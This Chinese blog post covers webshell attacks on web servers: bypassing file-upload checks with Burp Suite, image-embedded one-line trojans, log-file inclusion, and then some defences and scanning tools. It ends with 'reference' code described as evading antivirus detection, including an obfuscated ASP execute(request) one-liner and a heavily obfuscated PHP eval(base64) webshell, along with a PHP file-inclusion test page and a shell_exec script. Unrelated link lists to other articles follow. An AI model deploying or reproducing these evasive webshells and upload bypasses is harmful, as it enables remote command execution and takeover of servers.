最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。

首先简单说下 什么是webShell?

  利用文件上传,上传了非法可以执行代码到服务器,然后利用程序(中国蚁剑、哥斯拉、冰蝎)进行连接并执行服务器的操作。

下面是蚁剑的成功连接界面,可以对整个服务器下的项目进行授权操作。

哥斯拉成功连接界面

攻击思路:

  1.通过第三方检测工具对网站进行扫描上传的接口( AppScan工具,或者其它开源产品Github上或码云有 )

  2.测试上传非图片文件,如果前端限制了,把php脚本改成jpg格式 可以配合抓包工具(burpsuite)进行提交后修改文件后缀,大部分网站上传接口可以给上传。如果上传不了最后给强制返回了图片格式后缀,也不用慌,还可以尝试上传一句话木马保存到图片里面。再通过访问日志,或者错误日志写入引用图片木马。

  1. <?php
  2. /*
  3. 本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
  4. */
  5. header("Content-Type:text/html;charset=utf-8");
  6. $file = $_GET['file'];// http://www.a.com/b.png
  7. if(isset($file)){
  8. include $file;
  9. }else{
  10. show_source(__file__);
  11. }
  12. ?>

反攻击思路:

  1.前端获取图片的base64格式 ,后端直接强制上传文件的后缀为 png jpg

  2.PHP 禁用eval() {evel是禁用不了的,属于系统C的语言,但是百度有办法禁用}  shell_exec() system() assert() 等危险可执行函数

  3.上传接口,设置好访问权限,这样可以少了很多麻烦。

其实这个webShell病毒,我测试发现很多可以免杀。就是杀毒无法识别,一般都是进行了伪装,代码变形,代码加密等等方式。不过随着杀毒防御的不断增加病毒的形态,绝大对数还是可以被检测出来。所以推荐下几个比较好用的防御杀毒工具:

  1.阿里云检测代码,我一般用这个测试写的代码是否可以被识别,这个识别度非常高  https://ti.aliyun.com/#/webshell

  2.宝塔杀毒软件很多,我用过微步木马检测,还挺好用,识别度很高

  3.APP 河马查杀 、D盾  这2个我下载扫过全站的代码,识别度相对前面的没有那么高。

最后发几段代码供参考下:

  1. <?php
    // 这个是可以过阿里云的 免杀脚本,如果使用的是宝塔服务器

  2. ini_set("xdebug.var_display_max_children", '-1');
  3. ini_set("xdebug.var_display_max_data", '-1');
  4. ini_set("xdebug.var_display_max_depth", '-1');
  5. function running_process(){
  6. $cmd = "bt default | head -n 8 | tail -n 4";
  7. #$ret1 = system($cmd);
  8. $ret1 = shell_exec($cmd);
  9. #$ret2 = exec($cmd);
  10. var_dump($ret1);
  11. echo "\n";
  12. print_r($ret1);
  13. echo "\n";
  14. echo shell_exec($cmd);
  15. }
  16. running_process();
  17. ?>
  1. <%@ codepage=65000%><% response.Charset=”936%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
  1. <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
  2.  
  3. .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
  4.  
  5. .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
  6.  
  7. eval($O00O0O("JE8wTzAwMD0ia0hlTGJxUE9VVE5qcGFoSlNBZ2RJY3RYRVZuQ3dseVdCWVJLclpNRGltZnZ1Rkdzb3hRemJvV1lNVGdhRWx4VnJaa0tuenVKZmhwSERJZENxdEJQamlSWFVOR3ZReUZBZVNtY09Mc3dndjlxWm96WHNveHRoM3hyTTI1RmgzUmtoZHNPWGxjWHNveHRKUzkwWlAxdEgyTHJNUHQwWHZ6cmFxcnpOSEtCTTNLRmh5SXFNM0swWlA1ZFh2enJhcXJ5SlA1VkptdEFNUWp0TXl4QU5tRU9LRHNjS0RjcldxT3VmQ3p1Tnk5QlhDUnJnbHo3S21iOGgzUkJNbUllWENSRFhsY2JabmNVWG5qN0NRenVmQ3p1ZkN6dUttR3VnbnpibjFjYlpuY0xLVkQxSGxjWGZDenVmQ3p1ZkN6YlJTY2JaSTB1Z256YlJTY2JaSTFXS21HN0NRenVmQ2o5Q1F6dWZDakJOSFIxaHk0dUtEczdDZDBYS29qa2gzRzlLM2praDN4M00zS2JLd2NYS29qa1dQTEFpUFJhaVAxdGduSnFpSHRjTTJTYkt3Y1hLbXB0V2wwZHhQaTBObXhWRzJmMWlQRDN4VklieFFoN0N5dHlmQ2tyaDN4dEpDdWJIMWpnRTFSTUtvamtoM3hKWG50N0NRenVmQ3piTm1TMGlsMXRNeXhBTm1FT2l5U3dObGkwSDJSdGkyOWJObnViSDFqZ0UxUk1Lb2praDN4SlhucWJaMkk1WGxjWGZDenVmbXR5ZkNrcmgzeHRKQ3ViSDF4U0UxeEtsMDVNS29qa1dQTEFpUFJhaVAxdEhuYnJXcU91ZkN6dWZDenVmQ1JxaUh0Y00yU2JnUEllaTI5Yk5udWJIMXhTRTF4S2wwNU1Lb2prV1BMQWlQUmFpUDF0SG5xYloySTVYbGNYZkN6dWZDenVmQ2pyTlF6T2gzUkJobTl3WENScWlIdGNNMlNiWUNLZE5IUkNpSHhyaTN4S015TkFmUWI5Z2wxeWlQTHdObnQ3Q1F6dWZDenVmQ3p1ZkN6dWZDUnFpSHRjTTJTYmdQSWVpMjliTm51YmhtUzVNbTlrTkNxYloySTVYbGNYZkN6dWZDenVmQ2o5Q3ViS05ITmtNQ3ViaG1TNU1tOWtOQ2I3Q1F6dWZDenVmQ3p1TlB4T01CandKUEt3Sm9mT01QczFYQ1JxaUh4d1lRUlVOSGJyWXZ6Y0dsaXJhcU91ZkN6dWZDenVmbUlWWm04dWl5U3dObGkwSDJJZWkyOWJObmt0TXl4QU5tRU9zb0sxTVF1Yk5tUzBpbmJjS21wdFduYnJhcU91ZkN6dWZDenVmbUlWWm04dWgzSVFoM1JCWG0xYnhudWJobVN3aEI0YloySTVYbnFMeFFiN0NRenVmQ2o5TlBMd05IY1hmQ3p1ZkN6dWZDanJOUXpPaDNSQmhtOXdYQ1JiaUhSa1lDS2ROSFJDaUh4cmkzeEtNeU5BZlFia2dsMXlpUEx3Tm50N0NRenVmQ3p1ZkN6dWZDenVmQ1JGRTBJbEUwdGdsdGNiaG1TNU1tOWtORDVrTVBJSmdQSWVpMjliTm51Yk5tUzBpbnFiWjJJNVhsY1hmQ3p1ZkN6dWZDajlDUXp1ZkNqOUNkMD0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>

webShell攻击及防御的更多相关文章

  1. 常见【十种】WEB攻击及防御技术总结

    最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...

  2. 攻防:文件上传漏洞的攻击与防御,转自H3C

    WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...

  3. Mac地址泛洪攻击的防御措施和具体配置

    Mac地址泛洪攻击指的是:利用交换机的mac地址学习机制,攻击者不断地刷新mac地址,填满交换机的mac地址表,以致崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息. mac地址泛洪攻击的防 ...

  4. C#-黑客-数据库访问-字符串的攻击和防御

    C#中用基本的方法对数据库进行增删改查,会被黑客利用,写入其他的代码以实现对数据库的数据进行其他的操作.例如: 对下列数据库的某个信息进行修改操作 修改代码: using System; using ...

  5. ARP缓存表的构成ARP协议全面实战协议详解、攻击与防御

    ARP缓存表的构成ARP协议全面实战协议详解.攻击与防御 1.4.3  ARP缓存表的构成 在局域网的任何一台主机中,都有一个ARP缓存表.该缓存表中保存中多个ARP条目.每个ARP条目都是由一个IP ...

  6. 【服务器防护】WEB防护 - WEBSHELL攻击探测【转载】

    原文:http://www.2cto.com/Article/201511/451757.html 1. 什么是webshell?     基于b/s架构的软件部署在Internet上,那么安全性是必 ...

  7. 浅谈Ddos攻击攻击与防御

    EMail: jianxin#80sec.comSite: http://www.80sec.comDate: 2011-2-10From: http://www.80sec.com/ [ 目录 ]一 ...

  8. 通过DDOS攻击流程图来浅谈如何预防Ddos攻击与防御

    DDOS攻击流程图 站长之家配图(来源:ppkj.net) 一 背景 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题 ...

  9. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  10. CSRF——攻击与防御

    CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...

随机推荐

  1. 8. 使用Fluentd+MongoDB采集Apache日志

    Fluentd+MongoDB,用以实时收集半结构化数据. 背景知识 日志接入Fluentd后,会以json的格式在Fluentd内部进行路由.这就决定了Fluentd处理日志的方式是非常灵活的,它将 ...

  2. 监控elasticsearch

    转载自:https://cloud.tencent.com/developer/article/1655489 注意:上半截跟下半截是采用的不同的方式,建议采用下半截的方式,上半截的方式据说获取不到数 ...

  3. H3C交换机配置DHCP服务器

    dhcp server ip-pool vlan4020 network 10.3.7.0 mask 255.255.255.0 gateway-list 10.3.7.254 dns-list 20 ...

  4. NOIP 2013 洛谷P1966 火柴排队 (树状数组求逆序对)

    对于a[],b[]两个数组,我们应选取其中一个为基准,再运用树状数组求逆序对的方法就行了. 大佬博客:https://www.cnblogs.com/luckyblock/p/11482130.htm ...

  5. .NET 采用 SkiaSharp 生成二维码和图形验证码及图片进行指定区域截取方法实现

    在最新版的 .NET 平台中,微软在逐步放弃 System.Drawing.Imaging ,给出的理由如下: System.Drawing命名空间对某些操作系统和应用程序类型有一些限制. 在Wind ...

  6. Dytechlab Cup 2022 (A - C)

    Dytechlab Cup 2022 (A - C) A - Ela Sorting Books 分析:贪心,将字符串每一位都存在map里,从前往后尽量让每一个\(n / k\)的段\(mex\)值尽 ...

  7. Spring Ioc容器xml配置

    Spring Ioc容器xml配置基本结构: <?xml version="1.0" encoding="UTF-8"?> <beans xm ...

  8. 微服务组件--限流框架Spring Cloud Hystrix分析

    Hystrix的介绍 [1]Hystrix是springCloud的组件之一,Hystrix 可以让我们在分布式系统中对服务间的调用进行控制加入一些调用延迟或者依赖故障的容错机制. [2]Hystri ...

  9. 0基础90分钟会用PS——GenJi笔记

    数码图像的相关基础概念 1.位图和矢量图 位图 也叫点阵图像,位图使用也称像素的一格一格的小点来描述图像,图放大后我们可以看到像素点 矢量图 根据几何特性来绘制图形,用线段和曲线描述图像,可以是一个一 ...

  10. raid 5搭建部署

    raid 5搭建部署 软raid与备份 1.用四块磁盘做实验,三块盘搭建raid阵列组,有一块当作备份可以使用raid 5来搭建三块磁盘的阵列组 创建命令如下: [root@xiaohaoge ~]# ...